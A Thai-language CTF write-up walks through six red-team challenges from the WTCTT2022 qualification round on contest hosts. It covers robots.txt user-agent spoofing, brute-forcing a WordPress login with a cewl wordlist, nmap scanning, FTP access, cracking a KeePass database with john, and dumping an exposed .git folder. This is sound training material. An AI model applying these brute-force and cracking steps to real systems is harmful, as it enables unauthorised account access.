[WTCTT2022] Qualification Round Writeup #1

Chananya Choosak
6 min readDec 15, 2022

--

เพิ่งค้นพบว่าเราเองก็ได้ทิ้งร้างบ้าน Medium มาก็ 3 ปีกว่าแล้ว กลับมาอีกทีฝุ่นขึ้นเต็มไปหมด (หลังๆมาก็คือใช้อ่านพวก hacking article วันละเรื่องสองเรื่องก่อนทำงาน)

: อ่ะ แล้วหายไปนานขนาดนี้เอ็งจะสาระแนคลานกลับมาบ้านเก่าทำไม
: ก็เดี๋ยวก่อน แบบบางทีถ้าเธอใจเย็นๆแล้วฟังฉันสักหน่อย

ได้เวลาเกริ่นนำเรื่องละ

ที่มาก็คือเมื่อวันอาทิตย์ที่ผ่านมาเราได้มีโอกาสไปลงแข่งงาน Women: Thailand Cyber Top Talent 2022 รอบคัดเลือกมา ซึ่งงานนี้เป็นแข่ง CTF ที่เปิดให้ผู้หญิงเท่านั้นที่สามารถมาร่วมประลองได้ จะหญิงสเตรทหรือทรานวูเม่นก็สามารถมาร่วมแข่งได้หมดจ้า

โดยในรอบคัดเลือกจะเน้นไปที่การอบรมก่อน ซึ่งจะแบ่งเป็นสองพาร์ทก็คือ Red Team & Blue Team ก่อนจะเริ่มแข่งรอบคัดเลือกจริงๆคือตอน 16:30–18:30 น. อ่านไม่ผิดค่ะ ผลชี้ชะตาทั้งหมดเกิดขึ้นใน 2 ชั่วโมงเท่านั้น ก่อนจะคัดเลือก 15 ทีมที่คะแนนรวมสูงสุดไปแข่งรอบไฟนอล

ด้วยความที่แข่งมีทั้ง Red Team กับ Blue Team ก็เลยตกลงกับน้องที่มาคู่ด้วยกันว่าน้องเขาจะทำ Blue Team ให้ (ซึ่งก็คือเขียน YARA) ส่วนเราก็ทำ Red Team ไป ว่าแล้วก็ไปเริ่มพาร์ท Writeup ได้เลย GO GO!

ปล. ในพาร์ทนี้จะเขียนแค่โจทย์ที่สามารถ Solve ได้ในวันแข่งขันเท่านั้น ส่วนโจทย์ข้ออื่นนอกจากนี้ขอลองไปเล่นก่อนแล้วเดี๋ยวจะตามมาอัพในพาร์ท 2 จ้า

ซึ่งตัวโจทย์ได้มีการปล่อยออกมาเป็น Public แล้วหลังจบการแข่งขันจากทาง NCSA สามารถไปได้จาก URL ข้างล่างได้เลยค่า

Challenge #1

โรงแรม Cyberspace เพิ่งติดตั้งเว็บไซต์ใหม่เป็น Wordpress CMS ที่ URL https://cyberspace-hotel.ctf.p7z.pw/ และมีการป้องกัน Search Engine ในการเข้าถึงหน้าเว็บหนึ่งเอาไว้ โดยเก็บไว้ให้ผู้บริหารที่ใช้โทรศัพท์บางรุ่นที่เข้าได้เท่านั้น คุณในฐานะแฮกเกอร์มือดี ลองหาว่า (1) หาไฟล์ชื่อ robots.txt ในเว็บซึ่ง Search Engine ใช้ในการตรวจสอบ
(2) ตรวจสอบดูว่ามีการใช้ค่า User-Agent อะไร? (3) ลองเข้าถึงไฟล์ของผู้บริหารนั้นให้หน่อย (เนื้อหาข้างในไฟล์มีค่า FLAG)

อ่ะ เปิดข้อแรกมาก็เหมือนเป็นการเปิดประตูนรกโดยให้คู่มือและดาบโซ่ที่ยังไม่ได้อัพเกรดใดๆ ต้องไปหาฟาร์มจากโจทย์ทีละขั้น ละโจทย์บอกขั้นตอนมาชัดละเอียดขนาดนี้ก็โซโล่ไปเลยสิคะ

เริ่มจากเปิดเว็บ https://cyberspace-hotel.ctf.p7z.pw/ มาก่อน ซึ่งเราเปิดใน chromium build-in ใน Burp เลย ง่ายดี

เปิดหน้าเว็บมาก็จะเจอเป็นหน้าเพจหน้าตาแบบนี้

เปิดหน้าเว็บมาก็จะเจอเป็นหน้าเพจหน้าตาแบบนี้

ในเมื่อโจทย์ชี้แนะมาแล้วว่าให้หาไฟล์ robots.txt อ่ะไหนลอง curl ดู content หน่อยซิ

$ curl https://cyberspace-hotel.ctf.p7z.pw/robots.txt
User-agent: Mozilla/5.0 (Nokia 3310; 64; rv:88.0) Gecko/20200101 Firefox/62.0
Disallow: /lndex.php

User-agent: *
Allow: /
Allow: /wp-login.php
Sitemap: <https://www.example.com/sitemap.xml>

พอเรียก /robots.txt ไปแล้วก็จะเจอเข้ากับ Response content ที่เซ็ตว่า path ไหนที่ถูก allow หรือ disallow บ้าง ซึ่งเป้าหมายของเราก็คือ disallow ค่ะ หมายความว่านั่นคือ hidden path ที่ตั้งไว้ไม่ให้ Search Engine หา path นี้เจอได้ ไม่พอยังจะมี User Agent ที่ถูกกำหนดค่ามาเป๊ะๆมาให้ด้วย ซึ่งตรงกับที่โจทย์ใบ้มาพอดี ก็ไปต่อเลยค้า

GET /lndex.php HTTP/2
Host: cyberspace-hotel.ctf.p7z.pw
User-Agent: Mozilla/5.0 (Nokia 3310; 64; rv:88.0) Gecko/20200101 Firefox/62.0
...[SNIP]...

ของเราใช้เป็น Repeater ใน Burp ไปแก้ไข request แล้วก็ส่งปั๊บ ติ๊ง ยินดีด้วย คุณตีป้อมแรกแตกแล้ว

Challenge #2

โรงแรม Cyberspace เพิ่งติดตั้งเว็บไซต์ใหม่เป็น Wordpress CMS ที่ URL https://cyberspace-hotel.ctf.p7z.pw/ มีผู้ใช้งาน 2 คนในเว็บ เหมือนว่าผู้ใช้งานชื่อ longcat จะตั้งรหัสผ่านไม่ปลอดภัย เป็นค่าเดียวกับข้อมูลที่เปิดเผยเป็นสาธารณะ ให้ลองหารหัสผ่านของ longcat และใช้เข้าสู่ระบบที่ /wp-login.php

สามารถลองหาเองได้โดยการอ่านเนื้อหา หรือใช้โปรแกรม cewl ก็ได้

อ่านโจทย์ดูก็รู้เลยว่าต้องมีการ Brute Force กันเกิดขึ้นที่หน้า Login Wordpress และอีกเช่นเคย โจทย์ก็ได้ใบ้มาแล้วว่าเจ้ารหัสผ่านที่ว่าเนี่ยก็ซ่อนๆอยู่ในหน้าเว็บนี่แหละ และก็มีแง้มมาหน่อยๆว่าสามารถใช้ cewl ได้

แล้ว cewl คืออะไรอ่ะ??

เจ้าตัว CeWL หรือก็คือ Custom Worldlist Generator จะเป็น Tool ที่ใช้ generate wordlist จากการไป crawl เก็บคำต่างๆที่ปรากฎในหน้าเว็บ ซึ่งมีประโยชน์มากๆเวลาเอาไป bruteforce ทั้งหา Weak Password ก็ดีหรือเอาไปหา Path ก็ได้เหมือนกัน

แนะนำกันเสร็จแล้วก็มาลองใช้ได้เลยมา

$ cewl <https://cyberspace-hotel.ctf.p7z.pw> -w cyberspace.txt
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (<https://digi.ninja/>)

รอน้อง cewl generate wordlist แป๊บนึงแล้วเข้าไปเช็คไฟล์ cyberspace.txt

ก็จะได้ไฟล์ที่มี wordlist เรียงเป็นตับ (ของจริงเยอะกว่านี้)

พอได้ wordlist file แล้วก็เอาไปทำการ brute force หารหัสผ่านของ user longcat ที่ /wp-login.php กันต่อ โกๆ

หน้า WordPress login

จริงๆวิธีนี้สามารถทำได้หลายแบบ จะใช้ fuzzer อย่างพวก wfuzz หรือ ffuf ก็ได้ หรือถ้าแบบง่ายกว่านี้หน่อยก็เปิด Burp Intruder ไปเลยจ้า

(แต่ ณ วันแข่งคือติดข้อนี้นานมาก เพราะเน็ตบ้านช้ามากจนยิงนานมากกว่าจะเจอ)

## Request
POST /wp-login.php HTTP/2
Host: cyberspace-hotel.ctf.p7z.pw
...[SNIP]...

log=longcat&pwd=§longcat§&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcyberspace-hotel.ctf.p7z.pw%2Fwp-admin%2F&testcookie=1

พอตั้งค่าตำแหน่งยิงและ wordlist ต่างๆแล้วก็กด Attack ระหว่างนี้นั่งรอแล้วจิบโกโก้กินหนมปล่อยจอย (แต่ถ้าโดนบีบเวลาจำกัดอันนี้เริ่มไม่จอยละ)

รอจนผ่านไปเป็นสิบนาทีก็กลับมาดูผล ลอง sort ก็จะพบว่าตัวที่ return 200 มาเป็น request ที่รหัสผ่านไม่ถูกต้อง (ตรงกับ base request 0 ที่ลองใส่รหัสมั่วๆผิดๆดู) และมันก็จะมีอยู่ตัวนึงที่แปลกไปจากเพื่อนเพราะมันเป็น 302 Redirect ตัวเดียวในกลุ่ม หรือว่า…นี่จะเป็นสิ่งที่เราตามหา!!

ว่าแล้วก็ไปค่ะ ลอง login user longcat ด้วย password ที่เราได้ดู

เข้ามาข้างในได้แร้วเว้ย!!

อ่ะ ไหนลองดูคอนเท้นข้างในหน่อยซิว่ามีอะไรบ้าง และมันก็จะมีอยู่คอมเม้นนึงที่พาดหัวชวนล่อตาล่อใจมาก รูปเด็ด รีบดูก่อนโดนลบว่าซั่น ส่วนอีกอันเราจะยังไม่ยุ่ง เพราะน่าจะปวดหัวแน่นอน หรือไม่ก็อาจจะเป็น clue ของข้อถัดไป

พอกดเข้าไปดูรูปก็โป๊ะ!! Flag ข้อที่ 2 ออกตามมาไม่ติดๆ ว่าแล้วก็เซฟรูปแล้วแตกข้อความเอา flag ไปตอบ จบ

Challenge #3

พบว่ามีผู้ใช้งานใน เว็บไซต์โรงแรม Cyberspace มีการใส่ข้อความคอมเมนต์ เป็นข้อความเข้ารหัสซ่อนเอาไว้อยู่ ให้ลองถอดรหัสด้วยเว็บ https://gchq.github.io/CyberChef/ ดูจะพบความลับที่ซ่อนอยู่

จั่วหัวมาชัดขนาดนี้ว่าเป็นเข้ารหัสข้อความ แถมตอนนี้ที่เราอยู่ในหน้า dashboard ของ longcat ที่ก็มีคอมเมนต์นึงที่เขียนโน้ตเข้ารหัสไว้พอดีพอดี

อั๊ว ทำการเข้ารหัส ในส่วนของรหัส FTP ตามที่ลื้อบอกแล้วน่ะแต่อั้วดัน ถอดกลับ มาเป็นรหัส FTP ไม่เป็น

ช่วยลองถอดรหัสให้หน่อยนะ สู้ ๆ

Cipher: efcd2298cafafe00dc97b407b68d879e86587656807b708174a0915da82752c0fd323d8368c64081af3cd8bccab2c9a7b80bf605dd46d9af24407d1b6c0898c22771650c1cf8f325418028c6eba232d9a4ffbab844361338629bef0866
Encryption: AES-OFB
KEY: 5e05c29fb196c0ddbba9f7f37189fd90
IV: 00000000000000000000600000000000

ซึ่งเข้ารหัสที่ว่ามันก็คือรหัส FTP แต่จากโจทย์ก็ยังไม่ใช่สิ่งที่เราต้องโฟกัสตอนนี้

ว่าแล้วก็เอา Cipher text ที่ว่าไปถอดรหัสในเว็บเจ้าประจำอย่าง Cyber Chef ครอบจักรวาล ใส่ Cipher, Encryption, Key, IV ให้พร้อมแล้วก็ ลุย!!

ได้ Flag ข้อ 3 ที่มาพร้อมกับ Credential ที่ใช้เข้า FTP ด้วย

Challenge #4

มีไฟล์เซิร์ฟเวอร์ของโรงแรม อยู่ที่ Domain ชื่อ ftp.ctf.p7z.pw แต่ไม่แน่ใจว่าอยู่ที่ Port หมายเลขอะไร ให้ลองหาและใช้รหัสผ่านจาก โจทย์ข้อ 3 ในการเข้าถึงดูจะพบข้อความลับซ่อนอยู่

จั่วหัวมาชัดเจนเลยว่าต้องการให้เข้าไปใน FTP ซึ่งตอนนี้เราก็ได้ Credential ที่จะใช้เข้า FTP แล้ว (longca1:[password]) แต่ก็มาหยุดชะงักเพราะไอคำว่าไม่แน่ใจว่าอยู่ Port หมายเลขอะไร เอาละ มาแบบนี้ไม่ได้วิ่งบน Port 21 default แน่นอน

ว่าแล้วก็ Nmap เช็คซิว่า Port ไหนเปิดบ้าง

$ nmap -sV -sC ftp.ctf.p7z.pw

ตามคาด Default FTP port อย่า port 21 ไม่ได้เปิดอยู่ เพราะมันไปเปิดที่ port 2121 แทนยังไงล่ะ

ตอนนี้เรามีข้อมูลทั้งหมดแล้ว ทั้ง username password domain port ว่าแล้วก็ login โลด

$ ftp <ftp://longca1:[password]@ftp.ctf.p7z.pw:2121/>
Connected to ftp.ctf.p7z.pw.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Type set to: Binary.
ftp>

และตอนนี้ เราก็ได้ทำการ login เข้ามาอยู่ใน FTP server ใต้รังแมวแล้ว ไหนลองเช็คหน่อยว่ามีไฟล์อะไรบ้างที่ซ่อน Flag ไว้ในนี้

ftp> dir
229 Entering extended passive mode (|||40743|).
125 Data connection already open. Transfer starting.
-rw----r-- 1 root root 48 Dec 09 05:46 flag.txt
-rw----r-- 1 root root 42 Dec 09 12:55 hint.txt
-rw----r-- 1 root root 460 Dec 09 12:53 keepass_db.kdb
226 Transfer complete.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering extended passive mode (|||35049|).
125 Data connection already open. Transfer starting.
100% |*******************************| 48 15.58 KiB/s 00:00 ETA
226 Transfer complete.

หลังจากที่เจอไฟล์ Flag และได้ทำการ get file มาเป็นที่เรียบร้อย ก็ลองเปิดอ่านไฟล์ดู จบ ได้ Flag ที่ 4 ไปแบบชิวๆ

Challenge #5

พบว่าในไฟล์เซิร์ฟเวอร์มีไฟล์ของ Password Manager ชื่อ KeePass อยู่ ไฟล์นี้ใช้ในการเก็บรหัสผ่าน ให้ลองใช้โปรแกรม keepass2john ในการแปลงไฟล์เป็นข้อความสำหรับการนำไปแคร็ก และใช้โปรแกรม john หรือ hashcat แคร็กรหัสผ่านออกมา

รหัสผ่านอยู่ในไฟล์ rockyou.txt และมีคำว่า happy อยู่ในรหัสผ่าน สามารถใช้ grep หรือวิธีการอื่นๆ เอาเฉพาะรหัสผ่านที่มีคำว่า happy มาถอดได้

หลังจากได้รหัสผ่านแล้วสามารถใช้โปรแกรม KeePass เปิดไฟล์ดังกล่าวได้ จะพบ FLAG

ก็ว่าแล้วว่าทำไมใน FTP Server มันถึงมีไฟล์ keepass_db.kdb ด้วย ถ้าแบบนี้ก็โหลดมาลงเครื่องซะเลย

ftp> get keepass_db.kdb
local: keepass_db.kdb remote: keepass_db.kdb
229 Entering extended passive mode (|||52311|).
125 Data connection already open. Transfer starting.
100% |*******************************| 460 11.54 MiB/s 00:00 ETA
226 Transfer complete.
460 bytes received in 00:00 (2.58 MiB/s)

และโจทย์ยังได้บอกต่อว่าให้ใช้โปรแกรม keepass2john แปลงไฟล์ .kdb เป็นข้อความ hash ซึ่งเจ้าตัวเนี้ยก็จะมีหลักการใช้งานคร่าวๆคือ

keepass2john [keepass-db-file] > [output-hash].txt

Reference: https://www.thedutchhacker.com/how-to-crack-a-keepass-database-file/

$ keepass2john keepass_db.kdb > keepass_hash.txt
Inlining keepass_db.kdb

พอดึง hash ออกมาได้แล้วก็จะพบกับรหัสผ่านที่ถูก Hashing ไว้แล้ว ซึ่งขั้นตอนนี้เราต้องใช้ตัว crack hash อย่าง hashcat หรือ john

และโจทย์ยังได้บอกต่อว่ารหัสผ่านที่จะเอามา crack หา password ได้จะต้องมีคำว่า happy ที่ก็ซ่อนอยู่ใน wordlist ยักษ์เจ้าประจำอย่าง rockyou.txt เพราะฉะนั้นเราก็จะแยกเอารหัสที่มีคำว่า happy ออกมาแยกเป็นไฟล์ wordlist ต่างหาก

$ cat /usr/share/wordlists/rockyou.txt | grep happy > happy_pass.txt

พอได้ wordlist อะไรเรียบร้อยแล้วก็ crack hash ซะ (พอดีมัน crack ไปแล้วตอนแข่งจริงก็เลยต้อง load เอาแทน)

$ john --wordlist=happy_pass.txt keepass_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
No password hashes left to crack (see FAQ)

$ john --show keepass_hash.txt
keepass_db.kdb:[password]
1 password hash cracked, 0 left

ได้ password ที่ใช้เรียบร้อยแล้วก็ทำการโหลดตัว Keepass db มาลงเครื่อง Host เราที่เป็น Windows (คือทำทุกอย่างใน kali ไง แต่โปรแกรม Keepass อยู่บน Windows)

PS [sensored]> scp kali@192.168.51.213:/home/kali/Downloads/keepass_db.kdb .
kali@192.168.51.213's password:
keepass_db.kdb 100% 460 459.3KB/s 00:00

โหลดมาแล้วก็เปิดไฟล์ได้เลย!!

Challenge #6

มีเว็บเซิร์ฟเวอร์หลังบ้านของโรงแรม Cyberspace อยู่ที่ http://backoffice.ctf.p7z.pw:8000/ พบว่าโปรแกรมเมอร์พลาด เผลออัปโหลดโฟลเดอร์ .git ขึ้นไปด้วย ให้ลองดาวน์โหลดมาและกู้โค้ดของเว็บคืนมา
สามารถใช้โปรแกรม
https://github.com/kost/dvcs-ripper.git หรือ https://github.com/allyshka/pwngitmanager ในการดาวน์โหลดโค้ดกลับมาได้

หากนำโจทย์ข้อนี้มาประกอบกับข้อ 5 ก็จะพบว่าเป็น URL หลังบ้านที่อยู่ใน Keepass และมีเบาะแสว่ามีการ upload .git ขึ้นไปด้วย (เอาจริงถ้าย้อนกลับไปดูผล Nmap ในข้อ 4 ก็จะเจอว่า domain ftp.ctf.p7z.pw ก็มี port 8000 เปิดพร้อม .git file เหมือนกัน แต่ก็ไม่ใช่สิ่งที่เราจะโฟกัสอยู่ดีในตอนนี้)

และจากโจทย์ที่ใบ้เพิ่มมาว่าสามารถใช้ Tools ทั้ง 2 ตัวดังกล่าวในการโหลดโค้ดจาก .git กลับมา ในที่นี้เราจะเลือกใช้เป็น Tool dvcs-ripper

ว่าแล้วก็จัดไปค่ะ

$ ./rip-git.pl -v -u <http://backoffice.ctf.p7z.pw:8000/.git/>
[i] Downloading git files from <http://backoffice.ctf.p7z.pw:8000/.git/>
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[i] Using session name: gTiLstmE
[d] found COMMIT_EDITMSG
[d] found config
[d] found description
[d] found HEAD
[d] found index
...[SNIP]...
[i] Running git fsck to check for missing items
Checking object directories: 100% (256/256), done.
Checking objects: 100% (155/155), done.
[i] Got items with git fsck: 0, Items fetched: 0
[!] No more items to fetch. That's it!

เราก็จะได้ web resource จากการดึงข้อมูลจาก .git ทีนี้ก็ได้เวลาสำรวจตามโฟลเดอร์เพื่อหา flag

แน้ แอบมี FLAG ข้อ 7,8 นะเราอ่ะ

ค่ะก็จบกันไปแล้วสำหรับ Writeup ในพาร์ทแรกที่ solve ได้ ณ ตอนแข่งนะคะ เรียกได้ว่าหืดขึ้นคอกันเลยทีเดียวสำหรับสองชั่วโมง (และเน็ตอันเชื่องช้า) ในส่วนของอีก 4 ข้อที่เหลือก็เดี๋ยวจะหาเวลาทำแล้วต่อเป็น Writeup Part 2 นะคะ (ถ้าไม่ขี้เกียจไปซะก่อนนะ55555555)

ว่าแล้วก็ See You ka

มี PART 2 แล้วนะต๊ะ ไปตำกันได้ที่ >>
https://medium.com/@re_pair/wtctt2022-qualification-round-writeup-2-8a7b40f2336d

#RE_PAIR

--

--